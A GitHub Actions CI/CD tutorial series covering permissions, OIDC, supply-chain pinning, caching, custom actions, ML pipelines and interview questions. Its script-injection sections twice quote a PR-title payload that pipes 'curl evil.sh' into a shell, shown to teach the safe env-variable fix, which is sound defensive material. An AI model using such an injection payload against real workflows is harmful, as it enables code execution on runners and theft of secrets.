    if-no-files-found: error

For anything a human reads, prefer the step summary. Nobody downloads a zip to see three numbers:

- if: always()
  run: |
    {
      echo "### Test results"
      echo "| metric | value |"
      echo "|---|---|"
      echo "| tests | $(jq '.total' reports/summary.json) |"
      echo "| coverage | $(coverage report --format=total)% |"
    } >> "$GITHUB_STEP_SUMMARY"

Service containers that do not flake

services:
  postgres:
    image: postgres:16                     # pin the major version
    env: { POSTGRES_PASSWORD: postgres }
    ports: ['5432:5432']
    options: >-
      --health-cmd pg_isready
      --health-interval 10s
      --health-timeout 5s
      --health-retries 5

Without the health check the container counts as started the instant Docker returns, and your first test connects before Postgres accepts connections. That is the entire explanation for "fails on the first run, passes on the re-run", and five lines removes it permanently.

Two details that cost an afternoon: the hostname is localhost when steps run on the runner but the service name when the job runs inside a container:, so moving a job into a container breaks every connection string with no warning. If you need four or five containers, stop using services and start your own Compose stack in a run step.

Reuse without building a maze

Treat the callee as a public API, because it is. Removing an input is a breaking change even if only one repository used it, and the failure lands on somebody else's pull request rather than yours.

Also remember shell: is mandatory on every run step inside a composite action. It is the most common reason a new one refuses to load, and the error does not say so.

Concurrency mistakes

# CI: one run per branch, cancel the superseded one
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

# CD: one deploy at a time, queue rather than cancel
concurrency:
  group: deploy-production
  cancel-in-progress: false

Applying the CI pattern to a deploy job kills a release halfway through, at the worst possible time. Applying the CD pattern to CI serialises every pull request behind every other. Because they need different keys, a real pipeline declares workflow-level concurrency for CI and a separate group on the deploy job.

Concurrency is a guard, not a correctness property. If two deploys running together would corrupt something, make the deploy idempotent as well.

The path-filter trap

This produces a pull request that can never merge, with no visible error. If a status check is required and its workflow is skipped by a paths filter, the PR waits forever for a report that never comes.

name: CI
on:
  pull_request:
    paths: ['docs/**', '**/*.md']
jobs:
  test:                       # same job name the required check expects
    runs-on: ubuntu-latest
    steps:
      - run: echo "No code changed; nothing to test."

Debugging a workflow you did not write

# Worth keeping permanently: diagnostics that only run after a failure
- name: Diagnostics
  if: failure()
  run: |
    echo "runner image : $ImageVersion"
    echo "ref / sha    : $GITHUB_REF / $GITHUB_SHA"
    echo "cache hit    : ${{ steps.cache.outputs.cache-hit }}"
    df -h && free -m

Habits that compound

Put timeout-minutes on every job. The default is six hours; one hung job consumes your allowance.

Add a permissions floor to every workflow. One line, permissions: { contents: read }, removes the token's ability to push, tag, or comment, and you widen it per job where needed. Declaring any scope zeroes the rest, which is the whole mechanism.

Add persist-credentials: false to checkout unless a later step needs to push. Otherwise a usable token sits in .git/config for every subsequent step, including third-party ones.

Pin third-party actions and keep the pins fresh. A tag can be moved under you, so pin anything you do not own to a SHA, and enable Dependabot for github-actions, because a pinned-and-forgotten action is an unpatched one. Neither control works alone.

Pass event data through env, never into a shell. A pull request title containing shell metacharacters becomes a command otherwise. This matters more at senior level, but the habit belongs here.

Write metrics to the step summary. Coverage, test counts, durations, image size. One line, and your pipeline becomes something you can reason about.

Review workflow diffs as carefully as code. An unreviewed pipeline change is how a two-minute job becomes a twenty-minute one over six months.

permissions:
  contents: read                      # least-privilege floor

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 20
    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false  # no push token left in the workspace
      - uses: actions/setup-node@v4   # official action, major tag is fine
        with: { node-version: '20', cache: npm }
      - uses: some-vendor/scan@3f8a1c9d5b2e7f04a6c8d1e3b5a7c9e1f3d5b7a9  # v2.1.0
      - env:
          TITLE: ${{ github.event.pull_request.title }}
        run: ./scripts/check-title.sh

This is part three of three. It closes the series by taking every topic from Beginner and Mid one level further (each one now has a security, scale, or ownership dimension) and adds the work you own when CI/CD is your responsibility rather than your tool.

Where this picks up

The trust model: whose code, which secrets, what token

Every workflow run has three properties that together determine your exposure: whose code executes, whether secrets are present, and what the token can do. Most real GitHub Actions vulnerabilities are those three lining up badly.

Read that until the pattern is obvious: GitHub deliberately makes fork pull requests harmless by withholding secrets and downgrading the token. The dangerous triggers are exactly the ones that undo that protection because a maintainer needed to label a PR or post a comment.

Two safe shapes:

# Safe: reads metadata from the event, never runs fork code
on: pull_request_target
permissions:
  pull-requests: write
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/labeler@v5      # no checkout of head.sha anywhere

# Safe: split privilege. Unprivileged job builds; privileged job publishes.
# 1) .github/workflows/pr-build.yml — no secrets, fork code runs here
on: pull_request
permissions: { contents: read }
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm run build
      - uses: actions/upload-artifact@v4
        with: { name: preview, path: dist/ }

# 2) .github/workflows/pr-publish.yml — has secrets, never runs fork code
on:
  workflow_run:
    workflows: ['pr-build']
    types: [completed]
permissions: { contents: read, pull-requests: write }
jobs:
  publish:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: preview
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ secrets.GITHUB_TOKEN }}
      - run: ./upload-preview.sh      # consumes the artifact, never executes it

Script injection

You have used expressions since Beginner. At this level the concern flips: event data is attacker-controlled text, and interpolating it into a shell is interpolating it into source code.

# Vulnerable. A PR titled  "; curl evil.sh | sh ;  executes on your runner.
- run: echo "Title: ${{ github.event.pull_request.title }}"

# Safe. The value arrives as data through the environment, never as shell source.
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $TITLE"

The rule is absolute and easy to apply: ${{ github.event.* }} never appears inside a run body. Branch names, issue titles, comment bodies, commit messages, and author names are all attacker-controlled.

The same applies to actions/github-script and to any action input you build from event data:

# Vulnerable — the payload is spliced into JavaScript source
- uses: actions/github-script@v7
  with:
    script: console.log("${{ github.event.issue.title }}")

# Safe — read it from the environment at runtime
- uses: actions/github-script@v7
  env:
    TITLE: ${{ github.event.issue.title }}
  with:
    script: console.log(process.env.TITLE)

Permissions: least privilege

Mid mentioned permissions in passing. The whole mechanism is one block of YAML.

permissions:
  contents: read              # a read-only floor for the entire workflow

jobs:
  release:
    permissions:
      contents: write         # widened for exactly one job
      packages: write
      id-token: write         # required for OIDC
    runs-on: ubuntu-latest

The mechanic that makes this powerful: declaring any scope sets every undeclared scope to none. A single contents: read line at the top removes the token's ability to push, tag, comment, or publish, and you then grant back only what a specific job needs.

Set the organisation default to read-only contents and make workflows opt in. That one setting makes every new repository safe by default rather than dependent on each author remembering.

Two limits drive real architecture:

A reusable workflow receives the caller's token, so its permissions can never exceed the caller's. Declaring them in the callee documents the contract and fails loudly when a caller is too restrictive.

GITHUB_TOKEN cannot reach another repository. Cross-repository automation needs a GitHub App installation token or a fine-grained PAT, and prefer the App. A PAT carries a human's full access, does not expire with the job, and appears in the audit trail as that person rather than as automation.

- uses: actions/create-github-app-token@v1
  id: app-token
  with:
    app-id: ${{ vars.APP_ID }}
    private-key: ${{ secrets.APP_PRIVATE_KEY }}
    repositories: other-repo

- env:
    GH_TOKEN: ${{ steps.app-token.outputs.token }}   # scoped, short-lived
  run: gh release create v1.0.0 --repo my-org/other-repo

OIDC: deployment without stored credentials

Beginner and Mid stored cloud keys as secrets. At this level you remove them entirely. The runner requests a short-lived signed token, and the cloud exchanges it for temporary credentials.

permissions:
  id-token: write             # allow the job to request an identity token
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: ${{ vars.DEPLOY_ROLE_ARN }}
          aws-region: ${{ vars.AWS_REGION }}
      - run: aws sts get-caller-identity     # prove the identity before deploying

Verify the constraint rather than trusting it. Open a pull request from a throwaway branch with a workflow that tries to assume the role. It should be refused. If it succeeds, your condition is too broad and the approval gate is decorative.

Supply chain

A uses: line is a decision to execute somebody else's code in a job that may hold your credentials. Mid taught you to pin tags; the full control set is wider.

# The pin, with the human-readable version in a trailing comment
- uses: actions/checkout@8f4b7f84864484a7bf31766abe9204da3cbe65b3  # v3.5.0

version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
    groups:
      actions:
        patterns: ['*']       # one pull request a week instead of fifteen

Pinning without updating is its own failure: a frozen action is an unpatched one. The two controls only work together.

Two less obvious surfaces worth raising unprompted:

Caches are a write surface. A pull request branch can poison a cache that a later main run restores. Never restore something and then execute it without verification, which is why you cache dependency downloads rather than installed, executable trees.

Self-hosted runners on public repositories are dangerous, because any fork pull request can execute code on a machine that persists between jobs.

Container builds and layer caching

Mid cached dependencies. Container builds need a different cache entirely, and it is usually the slowest job in a pipeline.

permissions:
  contents: read
  packages: write
  attestations: write
  id-token: write

steps:
  - uses: actions/checkout@v4
  - uses: docker/setup-buildx-action@v3

  - uses: docker/login-action@v3
    with:
      registry: ghcr.io
      username: ${{ github.actor }}
      password: ${{ secrets.GITHUB_TOKEN }}

  - id: push
    uses: docker/build-push-action@v6
    with:
      push: ${{ github.event_name != 'pull_request' }}
      tags: |
        ghcr.io/${{ github.repository }}:sha-${{ github.sha }}
        ghcr.io/${{ github.repository }}:latest
      cache-from: type=gha
      cache-to: type=gha,mode=max
      provenance: true
      sbom: true

  - uses: actions/attest-build-provenance@v1
    with:
      subject-name: ghcr.io/${{ github.repository }}
      subject-digest: ${{ steps.push.outputs.digest }}
      push-to-registry: true

linux/arm64 under emulation is several times slower than native. For anything on the critical path, build each architecture on its own native runner and merge the manifests.

Authoring your own actions

You have consumed actions since Beginner and written composite actions in Mid. When a capability belongs to many repositories, publish it properly.

name: Deploy to our platform
description: Resolves the target environment and triggers a deployment
inputs:
  environment:
    description: Target environment name
    required: true
  wait:
    description: Block until the deployment settles
    default: 'true'
outputs:
  url:
    description: Public URL of the deployment
runs:
  using: node20
  main: dist/index.js
  post: dist/cleanup.js       # runs even if the job fails — good for teardown
branding:
  icon: upload-cloud
  color: blue

const core = require('@actions/core')
const github = require('@actions/github')

async function run() {
  try {
    const environment = core.getInput('environment', { required: true })
    const wait = core.getBooleanInput('wait')

    core.info(`Deploying to ${environment}`)
    core.setSecret(process.env.DEPLOY_TOKEN)     // mask it in logs

    const url = await deploy(environment, { wait })
    core.setOutput('url', url)
    await core.summary.addHeading('Deployed').addLink(url, url).write()
  } catch (error) {
    core.setFailed(error.message)
  }
}
run()

JavaScript actions start fastest and behave identically on all three operating systems, but dependencies are not installed for you, so bundle with @vercel/ncc and commit the output. Docker actions are the most flexible and the slowest. Composite actions cannot define jobs, matrices, or their own runner; when you need those, you need a reusable workflow.

Version a published action the way the ecosystem expects: release v1.2.3 and keep a mutable v1 tag pointing at the newest compatible release.

Reusable workflows as a platform

Mid showed the mechanism. At this level you are running it as a product for other teams.

1. One repository owns the standardAn organisation .github repository holding reusable workflows and composite actions, with CODEOWNERS on the workflow directory so changes are reviewed by the people who carry the pager.
2. Version with a moving major tagConsumers pin @v2. You release v2.7.0 and move v2. A fix reaches sixty repositories without sixty pull requests, and a breaking change becomes v3 with a migration note rather than a silent surprise.
3. Canary before you move the tagOne low-risk repository pins the exact patch release. Green for a day, then move the major tag. Skip this and one bad release breaks every team simultaneously.
4. Treat inputs as a public APITypes, defaults, descriptions. Removing an input is a breaking change even if one repository used it, and the failure lands on somebody else's pull request.
5. Pass secrets explicitlysecrets: inherit hands the callee everything the caller can see. Listing the two it needs documents the contract and bounds the damage from a bad release.
6. Enforce with policy, not documentationOrganisation settings restricting which actions may run, required checks in branch protection, and required review on workflow files. A standard that depends on everyone remembering is not a standard.

Runners: strategy and cost

If you run self-hosted, the non-negotiables are: ephemeral, meaning one job per runner and then destroy the VM or container; scoped to specific repositories rather than the whole organisation; in a network segment that cannot reach production directly; and never schedulable by a fork-triggered workflow.

On cost: Windows minutes bill at roughly twice Linux and macOS at roughly ten times. A matrix that includes macOS "for completeness" can become most of your bill, and larger hosted runners are almost always cheaper than the engineering time to operate your own fleet.

Observability

"CI is slow" is an opinion. Numbers make it a priority, and there are only four you need.

# Pull the numbers into a scheduled report
- env:
    GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
  run: |
    gh api -X GET '/repos/${{ github.repository }}/actions/runs' \
      -f per_page=100 --jq '
        [.workflow_runs[]
         | select(.conclusion != null)
         | { name, conclusion,
             mins: (((.updated_at|fromdate) - (.run_started_at|fromdate)) / 60) }]
        | group_by(.name)[]
        | { workflow: .[0].name,
            runs: length,
            failed: [.[] | select(.conclusion == "failure")] | length,
            p95: (sort_by(.mins) | .[(length * 0.95) | floor].mins) }' \
      | tee -a "$GITHUB_STEP_SUMMARY"

Be careful with debugging actions that open an interactive shell on a runner. They are useful and they are also a live session on a machine holding your secrets, so restrict them to jobs that have none.

Machine-learning delivery

If your pipelines build models rather than binaries, the shape changes. CI for software asks "does this work?"; CI for a model asks "is it good enough, and can I prove what produced it?"

State the architectural answer explicitly, because it demonstrates judgement: Actions is the orchestrator and the audit trail, not the compute. It validates cheaply, submits work to a platform built for training, waits, gates on the returned metrics, and records the promotion. Proposing a six-hour GPU job on a hosted runner reads as inexperience.

name: Train and gate

on:
  workflow_dispatch:
    inputs:
      dataset:
        description: Dataset version to train on
        required: true
  schedule:
    - cron: '0 2 * * 1'

permissions:
  contents: read
  id-token: write

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with: { python-version: '3.11', cache: pip }
      - run: pip install -r requirements.txt
      - name: Validate before spending money on GPUs
        run: python -m pipeline.validate --dataset "${{ inputs.dataset }}"

  train:
    needs: validate
    runs-on: ubuntu-latest
    timeout-minutes: 60
    outputs:
      run-id: ${{ steps.submit.outputs.run-id }}
    steps:
      - uses: actions/checkout@v4
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: ${{ vars.TRAINING_ROLE_ARN }}
          aws-region: ${{ vars.AWS_REGION }}
      - id: submit
        name: Submit to the platform built for this, and wait
        run: python -m pipeline.submit --wait --dataset "${{ inputs.dataset }}"

  gate:
    needs: train
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Compare against what is deployed today
        run: |
          python -m pipeline.compare \
            --candidate "${{ needs.train.outputs.run-id }}" \
            --baseline production \
            --min-delta 0.0
      - name: Put the numbers where the reviewer will see them
        if: always()
        run: python -m pipeline.summary >> "$GITHUB_STEP_SUMMARY"

  promote:
    needs: gate
    runs-on: ubuntu-latest
    environment: model-production
    permissions: { id-token: write, contents: read }
    steps:
      - run: python -m pipeline.promote "${{ needs.train.outputs.run-id }}"

Four decisions there are the whole lesson. Validation runs on a cheap runner before an expensive one is provisioned. The gate is a comparison against production, not a hard-coded threshold, so it survives a changing dataset. Metrics go to the step summary so the approver does not download a zip. Promotion is a separate job behind an environment, which buys the approval, the scoped credentials, and a deployment record naming the commit and the run.

Migrating from an existing CI system

You will be asked this. The answer that lands is a sequence, not a tool comparison.

1. Inventory the existing jobsWhat triggers them, what credentials they hold, what network they reach, and which are required checks.
2. Port the leaf jobs firstThe ones nothing depends on. They prove the runner story, the network access, and the credential model with minimal risk.
3. Run both systems in parallelActions non-blocking, so a gap in your port does not block anyone from merging.
4. Move required checks one at a timeAs each Actions job earns trust, switch branch protection to it and retire the old one.
5. Decommission deliberatelyOld CI kept "just in case" becomes an unpatched server with production credentials.

The important judgement: do not port the old pipeline verbatim. A great deal of Jenkinsfile logic exists to work around a persistent workspace and shared mutable state, problems Actions does not have. Reimplementing those workarounds imports complexity you no longer need.

The review checklist

Most incidents are prevented at review time, not at runtime. This is the whole series compressed into what you look for in a workflow pull request.

The complete picture

The series' final pipeline: every level's topics, hardened.

name: Release

on:
  push:
    branches: [main]
    paths-ignore: ['docs/**', '**/*.md']

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: false          # never cancel a release mid-flight

permissions:
  contents: read                     # read-only floor

jobs:
  test:
    uses: my-org/.github/.github/workflows/reusable-ci.yml@v2
    with:
      python-version: '3.12'
    secrets:
      CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}

  image:
    needs: test
    runs-on: ubuntu-latest
    timeout-minutes: 30
    permissions:
      contents: read
      packages: write
      attestations: write
      id-token: write
    outputs:
      digest: ${{ steps.push.outputs.digest }}
    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false        # no push token left in the workspace

      - uses: docker/setup-buildx-action@v3
      - uses: docker/login-action@v3
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - id: push
        uses: docker/build-push-action@v6
        with:
          push: true
          tags: ghcr.io/${{ github.repository }}:sha-${{ github.sha }}
          cache-from: type=gha
          cache-to: type=gha,mode=max
          provenance: true
          sbom: true

      - uses: actions/attest-build-provenance@v1
        with:
          subject-name: ghcr.io/${{ github.repository }}
          subject-digest: ${{ steps.push.outputs.digest }}
          push-to-registry: true

  deploy:
    needs: image
    runs-on: ubuntu-latest
    environment:
      name: production                     # approval gate + scoped identity
      url: https://app.example.com
    concurrency:
      group: deploy-production
      cancel-in-progress: false
    permissions:
      id-token: write                      # OIDC — no stored cloud keys
      contents: read
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: ${{ vars.DEPLOY_ROLE_ARN }}   # sub pinned to this env
          aws-region: ${{ vars.AWS_REGION }}

      - name: Deploy by immutable digest
        run: |
          ./deploy.sh --image "ghcr.io/${{ github.repository }}@${{ needs.image.outputs.digest }}"

      - name: Record the deployment
        if: always()
        run: |
          {
            echo "### Deployed"
            echo "- commit: \`${{ github.sha }}\`"
            echo "- digest: \`${{ needs.image.outputs.digest }}\`"
            echo "- by: @${{ github.actor }}"
          } >> "$GITHUB_STEP_SUMMARY"

Where the series leaves you

Across the three levels you have gone from a first green run to owning CI/CD as a platform. The same topics carried all the way through, each time with more depth:

You should now be able to look at any workflow and see not just what it does but what it permits: which triggers give fork-influenced code a privileged token, what that token can reach, whether event data flows into a shell, whether third-party code is pinned, whether a credential could reach a log, and whether there is an automated path to production without a human in it.

That review instinct is what you take with you.

Part three of three, and the one to read if you only read one. A cumulative review of the entire series (foundations, pipeline machinery, and the security and platform work a senior owns) organised by topic rather than by level. About fifty minutes. Fast review first, common questions at the end.

Part one: foundations

GitHub Actions is GitHub's built-in CI/CD platform. A YAML file in .github/workflows/ declares triggers and jobs; GitHub runs each job on a machine it creates and destroys. The pipeline lives in the repository, so it is versioned and reviewed like code.

One workflow, many jobs, each job many steps, each job its own machine. Mandatory keys: on, jobs, and per job runs-on and steps.

name: CI
on:
  push:
    branches: [main]
  pull_request:
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with: { python-version: '3.11', cache: pip }
      - run: pip install -r requirements.txt
      - run: pytest -q

run is a shell command; uses is a published action configured with with:, and they are mutually exclusive in one step. needs builds the dependency graph and grants access to the earlier job's outputs.

Triggers

on:
  push:
    branches: [main]
    tags: ['v*']
    paths-ignore: ['docs/**', '**/*.md']
  pull_request:
    types: [opened, synchronize, reopened]
  workflow_dispatch:
    inputs:
      environment: { type: choice, options: [staging, production] }

The traps, and their single cause

The runner is new per job; the shell is new per step.

Part two: pipeline machinery

Expressions and contexts

Functions: contains, startsWith, endsWith, format, join, toJSON, fromJSON, hashFiles. Status: success(), failure(), cancelled(), always().

if: startsWith(github.ref, 'refs/tags/v') && github.actor != 'dependabot[bot]'
if: contains(fromJSON('["main","develop"]'), github.ref_name)

Inside if: the ${{ }} wrapper is optional; &&/|| return operands not booleans, which is why ${{ inputs.tag || github.sha }} is the default-value idiom.

outcome vs conclusion: raw step result vs result after continue-on-error. A tolerated failure is failure / success. always() runs even on cancellation, so use !cancelled() for cleanup that should stop.

The four special files

- id: meta
  run: |
    echo "TAG=sha-${GITHUB_SHA::7}" >> "$GITHUB_ENV"          # later steps
    echo "tag=sha-${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"        # step output
    echo "$HOME/.local/bin"         >> "$GITHUB_PATH"          # PATH
    echo "| coverage | 91% |"       >> "$GITHUB_STEP_SUMMARY"  # run page

Not readable in the writing step; none cross a job boundary. Across jobs: outputs for strings, artifacts for files, and job outputs are size-limited and not secret.

Secrets versus variables

Three levels, organisation → repository → environment, most specific wins. GITHUB_TOKEN is automatic, per job, repository-scoped, expires with the job. Pass secrets via env, never into a command line, and never echo them: masking cannot redact a value you transformed.

Caching and artifacts

- uses: actions/cache@v4
  with:
    path: ~/.cache/pip
    key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }}
    restore-keys: ${{ runner.os }}-pip-

key is exact and a hit skips the save; restore-keys are prefixes; entries are immutable; scope follows the branch graph; cache-hit is 'true' only on exact match. A volatile key never hits; a fixed key never invalidates. Cache downloads, never installed trees.

- uses: actions/upload-artifact@v4
  if: always()
  with:
    name: coverage-${{ matrix.python }}   # v4 conflicts on duplicate names
    path: reports/
    retention-days: 7
    if-no-files-found: error

A cache is an optimisation you must be able to lose; an artifact is data you cannot.

Job graph, matrix, services

jobs:
  setup:
    outputs: { targets: '${{ steps.v.outputs.targets }}' }
  build:
    needs: setup
    strategy:
      matrix:
        target: ${{ fromJSON(needs.setup.outputs.targets) }}
  report:
    needs: [setup, build]
    if: always()
    steps: [{ run: 'echo ${{ needs.build.result }}' }]

Matrix axes multiply, exclude removes, include adds; fail-fast: true by default; max-parallel for shared resources; 256-job ceiling; adding an axis renames a required check.

Service containers need a health check, and its absence is the entire explanation for "fails on the first run, passes on the re-run". Hostname is localhost from the runner, the service name from inside a container:.

Reuse, environments, concurrency

# CI: one run per branch, cancel superseded
concurrency: { group: '${{ github.workflow }}-${{ github.ref }}', cancel-in-progress: true }
# CD: one deploy at a time, QUEUE rather than cancel
concurrency: { group: deploy-production, cancel-in-progress: false }

An environment gives scoped secrets and variables, required reviewers, wait timers, branch restrictions, and deployment history. A required check skipped by a path filter blocks a PR forever, fixed with a same-named stub workflow.

Part three: trust, security, and scale

The trust model

Three properties decide exposure: whose code runs, whether secrets are present, what the token can do.

Script injection

# Vulnerable — a PR titled  "; curl evil.sh | sh ;  runs on your runner
- run: echo "Title: ${{ github.event.pull_request.title }}"

# Safe — the value arrives as data, never as shell source
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $TITLE"

# Same rule for github-script, where it is spliced into JavaScript
- uses: actions/github-script@v7
  env:
    TITLE: ${{ github.event.issue.title }}
  with:
    script: console.log(process.env.TITLE)

${{ github.event.* }} never appears inside a run body.

Permissions and identity

permissions:
  contents: read            # read-only floor for the workflow
jobs:
  release:
    permissions:
      contents: write       # widened for one job only
      packages: write
      id-token: write       # required for OIDC

Declaring any scope sets every undeclared scope to none, which is the whole mechanism. Set the organisation default to read-only and make workflows opt in. A reusable workflow receives the caller's token and cannot exceed it. GITHUB_TOKEN cannot reach another repository, so use a GitHub App installation token (scoped, short-lived, attributable) rather than a PAT (a human's full access, no job-bound expiry).

OIDC

Supply chain

Two surfaces worth raising unprompted: caches are a write surface, since a PR branch can poison a cache a later main run restores; and self-hosted runners on public repositories combine untrusted code with persistent state.

Container builds, custom actions, runners, cost

- uses: docker/setup-buildx-action@v3
- uses: docker/build-push-action@v6
  with:
    push: ${{ github.event_name != 'pull_request' }}   # forks must not publish
    tags: ghcr.io/${{ github.repository }}:sha-${{ github.sha }}
    cache-from: type=gha
    cache-to: type=gha,mode=max                        # intermediate layers too
    provenance: true

Hosted runners by default; larger hosted before self-hosted; self-hosted only for GPU, licences, or VPC reach, and then ephemeral, repo-scoped, network-segmented, never fork-schedulable. Windows bills ~2× Linux, macOS ~10×.

Platform, observability, ML

Standardise with reusable workflows in an organisation .github repository, CODEOWNERS on the workflow folder, a moving major tag, and a canary repository before moving it. Enforce with policy, not documentation, and keep upstream turnaround fast, because if a reasonable change takes two weeks, forking is rational and you will lose.

Four numbers turn "CI is slow" into a funded priority: median and p95 duration · failure rate split into real failures and flakes · queue time · cost by workflow and runner label.

For ML: Actions is the orchestrator and audit trail, not the compute. Validate cheaply, submit to a training platform, gate on a comparison against the deployed model rather than a fixed threshold, publish metrics to the step summary, promote from a separate job behind an environment.

The review checklist

Common interview questions

1. Explain pull_request versus pull_request_target, and the pattern that makes the second dangerous.Fork PRs under pull_request get no secrets and a read-only token, which is harmless by design. pull_request_target runs in the base repository's context with secrets and a writable token; combined with checking out head.sha it executes untrusted fork code with full credentials. Never check out the head ref there; split across pull_request and workflow_run if you need both.
2. Write a permissions block for a workflow that publishes a package and deploys with OIDC.contents: read at workflow level as a floor; on the publish job packages: write plus contents: write only if it tags; on the deploy job id-token: write and contents: read. Declaring any scope zeroes the rest, which is the point.
3. Describe a safe OIDC trust policy and one that looks fine but is not.Safe: sub constrained to repo:org/repo:environment:production, making the approval part of the identity. Unsafe: repo:org/*:*, satisfiable by any branch of any repository including a fork PR branch. Verify by attempting assume-role from a throwaway branch.
4. A secret appeared in a public build log an hour ago.Rotate first, and assume it is already scraped. Then revoke, delete the log and run, find the line that printed it, and close the class: secrets through env and never interpolated, plus OIDC so there is nothing to leak.
5. Give three supply-chain controls ordered by risk removed.SHA-pin third-party actions; default the token to contents: read; organisation allow-list plus Dependabot so pins do not go stale.
6. CI takes 25 minutes and people have stopped waiting.Measure first. Then in order of leverage: do less work (concurrency cancellation, path filters, conditions), reuse work (caching, prebuilt images), parallelise (matrix sharded by duration). Move slow suites to a schedule with a smoke subset on the PR. A bigger runner first is the answer of someone who has not measured.
7. Every deploy since Tuesday shipped the wrong build.Cache and artifact names before the code: a never-invalidating key, or two matrix cells uploading the same artifact name, both produce this and neither appears in a diff. Then deploy by immutable SHA tag or digest.
8. CI is 30% flaky and people re-run until green.Re-running destroys the signal. Measure which jobs fail and how, then remove causes in order: missing service health checks, matrix cells sharing a fixture, unpinned external dependencies, timing assumptions. Quarantine what you cannot fix into a named non-blocking job.
9. A third-party action you depend on was compromised.Find every repository referencing it and at what ref, revoke every secret those workflows could reach, replace with a vetted SHA or internal fork, then close the class with pinning, an allow-list, and Dependabot.
10. How do you standardise CI across sixty repositories?Reusable workflows in an organisation .github repository with CODEOWNERS; consumers pin a major tag you move on release; canary one repository first; inputs as a public API; enforced by branch protection and an allow-list. Keep upstream turnaround fast or teams fork.
11. Choose between composite, JavaScript, and Docker actions.Composite for a repeated step sequence, but it cannot define jobs, matrices, or its own runner. JavaScript for real logic and identical cross-platform behaviour, at the cost of a committed dist/. Docker for an arbitrary toolchain, at the cost of Linux-only and a pull per job.
12. What changes when the pipeline trains a model?Lint, tests, caching, environments, and OIDC carry over. New: data validation as a gate, metric thresholds that fail the job, comparison against the deployed model, and lineage linking commit and dataset version to the artifact. Actions orchestrates and records; it does not train.
13. How would you migrate from Jenkins?Inventory jobs; port leaf jobs first to prove runners, network, and credentials; run both systems in parallel with Actions non-blocking; move required checks one at a time; decommission deliberately. Do not port Jenkinsfile logic verbatim, because much of it works around a persistent workspace Actions does not have.
14. GitHub App token or PAT?The App: scoped to chosen repositories, short-lived, attributable to automation. A PAT carries a human's full access, outlives the job, and appears as that person, breaking least privilege and accountability.
15. Where does a cache become a security problem?When a lower-privilege context can write one a trusted run restores. Anything executable restored from cache is code you did not review. Cache dependency downloads, verify what you execute, never cache build outputs you then run.
16. How do you keep a production credential away from ordinary CI?Put it on a protected environment, not the repository, so only a job declaring that environment and passing its gate can read it. Better still, remove it: OIDC plus a role whose trust policy names that environment.
17. How would you argue for investment in CI?With the four numbers pulled from the REST API and trended. "CI is slow" is an opinion; "p95 on our main pipeline is 27 minutes and 18% of runs are re-runs" is a priority.
18. Everything went red at once. First three moves?Establish blast radius: simultaneous failure everywhere points at a shared workflow release, an action release, or a runner image change. Compare against the last green run for environmental differences. Re-run one failed job with debug logging rather than the whole pipeline.

Final self-test

• Give the trust table from memory: which triggers grant secrets and a writable token.
• Name the exact pull_request_target exfiltration pattern and two safe alternatives.
• Explain why declaring one permissions scope is a security control.
• Describe a safe OIDC sub constraint and how you would verify it.
• Give both ways a cache key can be wrong, and where a cache becomes a security problem.
• Write a concurrency block for CI and one for CD, and justify the difference.
• Name the four special files and what each does.
• Explain outcome versus conclusion, and when always() is the wrong choice.
• Choose between composite, JavaScript, and Docker actions with reasons.
• Name the four numbers you would track to argue CI needs investment.
• Recite the review checklist you would apply to a workflow pull request.

Part three of three. The problems at this level are rarely about syntax. They are about a pipeline sixty people depend on, a credential nobody remembers creating, and a failure that started at 09:00 everywhere at once. Start with the error table, then the practices and playbooks underneath it.

Common errors at this level

These cause incidents rather than red builds.

The practices that pay off most

The hardening pass every workflow should get

Apply this as a template, or better, as the shared workflow everyone calls.

permissions:
  contents: read                       # 1. read-only floor for the workflow

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}

jobs:
  build:
    runs-on: ubuntu-latest
    timeout-minutes: 20                # 2. no job may burn six hours
    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false   # 3. no push token left in the workspace
      - env:
          TITLE: ${{ github.event.pull_request.title }}   # 4. event data as data
        run: ./scripts/check.sh

Pinning that stays fresh

version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
    groups:
      actions:
        patterns: ['*']       # one pull request a week instead of fifteen

The grouping matters more than it looks. Fifteen separate Dependabot pull requests a week get ignored, and ignored updates are the same as no updates.

Getting rid of stored cloud keys

1. Register GitHub as an identity provider in the cloud accountOne-time setup per account, for token.actions.githubusercontent.com.
2. Create a role whose trust policy names your repository preciselyConstrain the sub claim to a ref, or better an environment: repo:my-org/my-repo:environment:production. A wildcard like repo:my-org/*:* lets any branch of any repository assume the role.
3. Grant the role only what deploying needsNot what the team has. This is the step people skip, and the one that bounds the damage.
